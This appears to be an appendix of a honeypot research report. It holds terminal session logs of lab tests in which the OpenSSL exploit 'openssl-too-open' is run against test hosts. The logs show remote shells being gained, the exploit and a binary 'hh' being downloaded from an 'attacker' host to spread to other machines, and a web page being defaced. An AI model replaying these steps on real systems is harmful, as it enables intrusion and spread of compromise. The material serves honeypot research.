64 bytes from victim (192.168.1.5): icmp_seq=1 ttl=255 time=1.47 ms
64 bytes from victim (192.168.1.5): icmp_seq=2 ttl=255 time=0.330 ms
64 bytes from victim (192.168.1.5): icmp_seq=3 ttl=255 time=0.303 ms
--- victim ping statistics ---
3 packets transmitted, 3 received, 0% packet loss, time 2001ms
rtt min/avg/max/mdev = 0.303/0.701/1.472/0.545 ms
[weasel@nomad exploit]$ ./openssl-too-open -a 0x0b honeypot1
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: openssl-too-open : OpenSSL remote exploit
by Solar Eclipse <solareclipse@phreedom.org>
: Opening 30 connections
Establishing SSL connections





ciphers: 0x814a308 start_addr: 0x814a248 SHELLCODE_OFS: 208
Execution of stage1 shellcode succeeded, sending stage2
Spawning shell...
bash: no job control in this shell
readline: warning: rl_prep_terminal: cannot get terminal settingsbash-2.05a$
readline: warning: rl_prep_terminal: cannot get terminal settingsbash-2.05a$
Linux honeypot1 2.4.18-3 #1 Thu Apr 18 07:37:53 EDT 2002 i686 unknown
uid=48(apache) gid=48(apache) groups=48(apache)
3:09pm up 59 min, 1 user, load average: 0.52, 0.45, 0.35
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
root tty1 - 2:34pm 2:18 0.33s 0.24s snort -b -p -L
readline: warning: rl_prep_terminal: cannot get terminal settingsbash-2.05a$
readline: warning: rl_prep_terminal: cannot get terminal settingsbash-2.05a$ ping victim
[weasel@nomad exploit]$ exit
Script done on Sun 10 Jul 2005 02:19:19 PM CDT
B.1.3 Redirecting Honeypot Configuration
Script started on Sun 10 Jul 2005 03:10:17 PM CDT
[weasel@nomad exploit]$ ./openssl-too-open -a 0x0b honeypot1
: openssl-too-open : OpenSSL remote exploit
by Solar Eclipse <solareclipse@phreedom.org>
: Opening 30 connections
Establishing SSL connections





ciphers: 0x814a308 start_addr: 0x814a248 SHELLCODE_OFS: 208
Execution of stage1 shellcode succeeded, sending stage2
Spawning shell...
bash: no job control in this shell
readline: warning: rl_prep_terminal: cannot get terminal settingsbash-2.05a$
readline: warning: rl_prep_terminal: cannot get terminal settingsbash-2.05a$
Linux honeypot1 2.4.18-3 #1 Thu Apr 18 07:37:53 EDT 2002 i686 unknown
uid=48(apache) gid=48(apache) groups=48(apache)
4:01pm up 1:50, 1 user, load average: 0.84, 0.90, 0.73
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
root tty1 - 2:34pm 1:45 0.28s 0.19s snort -b -p -L
readline: warning: rl_prep_terminal: cannot get terminal settingsbash-2.05a$






Connecting to attacker[192.168.1.4]:8080... connected.
HTTP request sent, awaiting response... 200 OK
Length: 120,786 [application/octet-stream]
0K .......... .......... .......... .......... .......... 42% 806.45 KB/s
50K .......... .......... .......... .......... .......... 84% 1.81 MB/s
100K .......... ....... 100% 1.03 MB/s
16:01:40 (1.09 MB/s) - ‘openssl-too-open’ saved [120786/120786]
chmod 700 openssl-too-open
./openssl-too-open -a 0x0b victim
: openssl-too-open : OpenSSL remote exploit
by Solar Eclipse <solareclipse@phreedom.org>
: Opening 30 connections
Establishing SSL connections
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ciphers: 0x814a308 start_addr: 0x814a248 SHELLCODE_OFS: 208
Execution of stage1 shellcode succeeded, sending stage2
Spawning shell...
bash: no job control in this shell
readline: warning: rl_prep_terminal: cannot get terminal settingsbash-2.05a$
readline: warning: rl_prep_terminal: cannot get terminal settingsbash-2.05a$
Linux victim 2.4.18-3 #1 Thu Apr 18 07:37:53 EDT 2002 i686 unknown
uid=48(apache) gid=48(apache) groups=48(apache)
5:00am up 14:04, 1 user, load average: 3.74, 3.89, 4.29
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
root tty1 - 11:59pm 1:51 1.37s 0.21s snort -b -p -L
readline: warning: rl_prep_terminal: cannot get terminal settingsbash-2.05a$
readline: warning: rl_prep_terminal: cannot get terminal settingsbash-2.05a$ cd /tmp
Error in read: Connection reset by peer
ping victim
PING victim (192.168.1.5) from 192.168.1.2 : 56(84) bytes of data.
64 bytes from victim (192.168.1.5): icmp_seq=1 ttl=255 time=0.692 ms
64 bytes from victim (192.168.1.5): icmp_seq=2 ttl=255 time=0.660 ms
64 bytes from victim (192.168.1.5): icmp_seq=3 ttl=255 time=0.672 ms
[weasel@nomad exploit]$ ./openssl-too-open -a 0x0b honeypot1
: openssl-too-open : OpenSSL remote exploit
by Solar Eclipse <solareclipse@phreedom.org>
: Opening 30 connections
Establishing SSL connections





ciphers: 0x814a308 start_addr: 0x814a248 SHELLCODE_OFS: 208
Execution of stage1 shellcode succeeded, sending stage2
Spawning shell...
bash: no job control in this shell
readline: warning: rl_prep_terminal: cannot get terminal settingsbash-2.05a$
readline: warning: rl_prep_terminal: cannot get terminal settingsbash-2.05a$
Linux honeypot1 2.4.18-3 #1 Thu Apr 18 07:37:53 EDT 2002 i686 unknown
uid=48(apache) gid=48(apache) groups=48(apache)
4:02pm up 1:52, 1 user, load average: 0.76, 0.84, 0.73
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
root tty1 - 2:34pm 3:27 0.36s 0.27s snort -b -p -L
readline: warning: rl_prep_terminal: cannot get terminal settingsbash-2.05a$
readline: warning: rl_prep_terminal: cannot get terminal settingsbash-2.05a$ cd /tmp





Connecting to attacker[192.168.1.4]:8080... connected.
HTTP request sent, awaiting response... 200 OK
Length: 445,808 [application/octet-stream]
0K .......... .......... .......... .......... .......... 11% 1.11 MB/s
50K .......... .......... .......... .......... .......... 22% 1.09 MB/s
100K .......... .......... .......... .......... .......... 34% 1.09 MB/s
150K .......... .......... .......... .......... .......... 45% 1.11 MB/s
200K .......... .......... .......... .......... .......... 57% 1.09 MB/s
250K .......... .......... .......... .......... .......... 68% 1.09 MB/s
300K .......... .......... .......... .......... .......... 80% 1.11 MB/s
350K .......... .......... .......... .......... .......... 91% 1.04 MB/s
400K .......... .......... .......... ..... 100% 752.33 KB/s
16:03:07 (1.05 MB/s) - ‘hh’ saved [445808/445808]
./hh





./openssl-too-open -a 0x0b victim
: openssl-too-open : OpenSSL remote exploit
by Solar Eclipse <solareclipse@phreedom.org>
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: Opening 30 connections
Establishing SSL connections





ciphers: 0x81a6998 start_addr: 0x81a68d8 SHELLCODE_OFS: 208
Execution of stage1 shellcode succeeded, sending stage2
Spawning shell...
bash: no job control in this shell
readline: warning: rl_prep_terminal: cannot get terminal settingsbash-2.05a$
readline: warning: rl_prep_terminal: cannot get terminal settingsbash-2.05a$
Linux honeypot2 2.4.18-3 #1 Thu Apr 18 07:31:07 EDT 2002 i586 unknown
uid=48(apache) gid=48(apache) groups=48(apache)
1:04pm up 3:17, 2 users, load average: 0.05, 0.05, 0.00
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
root tty1 - 12:22pm 5:47 1.09s 0.83s python ./ipchan
root tty2 - 12:23pm 19:36 5.93s 5.70s watch -n 2 ifco
readline: warning: rl_prep_terminal: cannot get terminal settingsbash-2.05a$
readline: warning: rl_prep_terminal: cannot get terminal settingsbash-2.05a$ cd /tmp





[weasel@nomad exploit]$ ./openssl-too-open -a 0x0b honeypot1
: openssl-too-open : OpenSSL remote exploit
by Solar Eclipse <solareclipse@phreedom.org>
: Opening 30 connections
Establishing SSL connections





ciphers: 0x814a308 start_addr: 0x814a248 SHELLCODE_OFS: 208
Execution of stage1 shellcode succeeded, sending stage2
Spawning shell...
bash: no job control in this shell
readline: warning: rl_prep_terminal: cannot get terminal settingsbash-2.05a$
readline: warning: rl_prep_terminal: cannot get terminal settingsbash-2.05a$
Linux honeypot1 2.4.18-3 #1 Thu Apr 18 07:37:53 EDT 2002 i686 unknown
uid=48(apache) gid=48(apache) groups=48(apache)
4:04pm up 1:54, 1 user, load average: 1.01, 0.89, 0.75
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
root tty1 - 2:34pm 5:38 0.47s 0.38s snort -b -p -L
readline: warning: rl_prep_terminal: cannot get terminal settingsbash-2.05a$ i
readline: warning: rl_prep_terminal: cannot get terminal settingsbash-2.05a$ cd /tmp
readline: warning: rl_prep_terminal: cannot get terminal settingsbash-2.05a$ ./hh
whoami
[-] Unable to determine kernel address: Operation not supported
readline: warning: rl_prep_terminal: cannot get terminal settingsbash-2.05a$ apache




./openssl-too-open -a 0x0b victim
: openssl-too-open : OpenSSL remote exploit
by Solar Eclipse <solareclipse@phreedom.org>
: Opening 30 connections
Establishing SSL connections





ciphers: 0x81a6998 start_addr: 0x81a68d8 SHELLCODE_OFS: 208
Execution of stage1 shellcode succeeded, sending stage2
Spawning shell...
bash: no job control in this shell
readline: warning: rl_prep_terminal: cannot get terminal settingsbash-2.05a$
readline: warning: rl_prep_terminal: cannot get terminal settingsbash-2.05a$
Linux honeypot2 2.4.18-3 #1 Thu Apr 18 07:31:07 EDT 2002 i586 unknown
uid=48(apache) gid=48(apache) groups=48(apache)
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1:06pm up 3:19, 2 users, load average: 0.08, 0.07, 0.01
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
root tty1 - 12:22pm 8:12 1.18s 0.92s python ./ipchan
root tty2 - 12:23pm 22:01 6.63s 6.40s watch -n 2 ifco
readline: warning: rl_prep_terminal: cannot get terminal settingsbash-2.05a$
readline: warning: rl_prep_terminal: cannot get terminal settingsbash-2.05a$ cd /tmp




Connecting to honeypot1[192.168.1.2]:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 445,808 [text/plain]
0K .......... .......... .......... .......... .......... 11% 1.22 MB/s
50K .......... .......... .......... .......... .......... 22% 1.09 MB/s
100K .......... .......... .......... .......... .......... 34% 1.11 MB/s
150K .......... .......... .......... .......... .......... 45% 1.09 MB/s
200K .......... .......... .......... .......... .......... 57% 1.02 MB/s
250K .......... .......... .......... .......... .......... 68% 1.06 MB/s
300K .......... .......... .......... .......... .......... 80% 1.16 MB/s
350K .......... .......... .......... .......... .......... 91% 1.02 MB/s
400K .......... .......... .......... ..... 100% 862.42 KB/s
13:07:06 (1.07 MB/s) - ‘hh’ saved [445808/445808]
readline: warning: rl_prep_terminal: cannot get terminal settingsbash-2.05a$ chmod 700 hh






-rw-r--r-- 1 root root 2890 Apr 9 2002 index.html
drwxr-xr-x 3 root root 4096 Apr 3 12:15 manual
drwxr-xr-x 2 root root 4096 Apr 3 12:16 mrtg
-rw-r--r-- 1 root root 1154 Apr 9 2002 poweredby.png
drwxr-xr-x 2 root root 4096 Apr 4 21:21 usage
mv index.html index.bak
echo "<html>hacked</html>" > index.html
ls -l
total 24
-rw-r--r-- 1 root root 2890 Apr 9 2002 index.bak
-rw-r--r-- 1 root root 20 Apr 17 13:08 index.html
drwxr-xr-x 3 root root 4096 Apr 3 12:15 manual
drwxr-xr-x 2 root root 4096 Apr 3 12:16 mrtg
-rw-r--r-- 1 root root 1154 Apr 9 2002 poweredby.png












Connecting to victim[192.168.1.5]:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 20 [text/html]
0K 100% 19.53 KB/s





















Script done on Sun 10 Jul 2005 12:40:27 PM CDT
B.2.2 GenII Honeypot Configuration
Script started on Sun 10 Jul 2005 02:08:16 PM CDT
[weasel@nomad exploit]$ ./malware.py
Traceback (most recent call last):
File "./malware.py", line 25, in ?
child.expect(’bash.+\$’)
File "/usr/lib/python2.4/site-packages/pexpect.py", line 631, in expect
return self.expect_list(compiled_pattern_list, timeout)
File "/usr/lib/python2.4/site-packages/pexpect.py", line 736, in expect_list
c = self.read_nonblocking (self.maxread, timeout)
File "/usr/lib/python2.4/site-packages/pexpect.py", line 326, in read_nonblocking
raise TIMEOUT(’Timeout exceeded in read().’)
pexpect.TIMEOUT: ’Timeout exceeded in read().’
[weasel@nomad exploit]$ exit
Script done on Sun 10 Jul 2005 02:09:29 PM CDT
B.2.3 Redirecting Honeypot Configuration
Script started on Sun 10 Jul 2005 03:27:37 PM CDT
[weasel@nomad exploit]$ ./malware.py
[weasel@nomad exploit]$ exit
Script done on Sun 10 Jul 2005 03:28:22 PM CDT
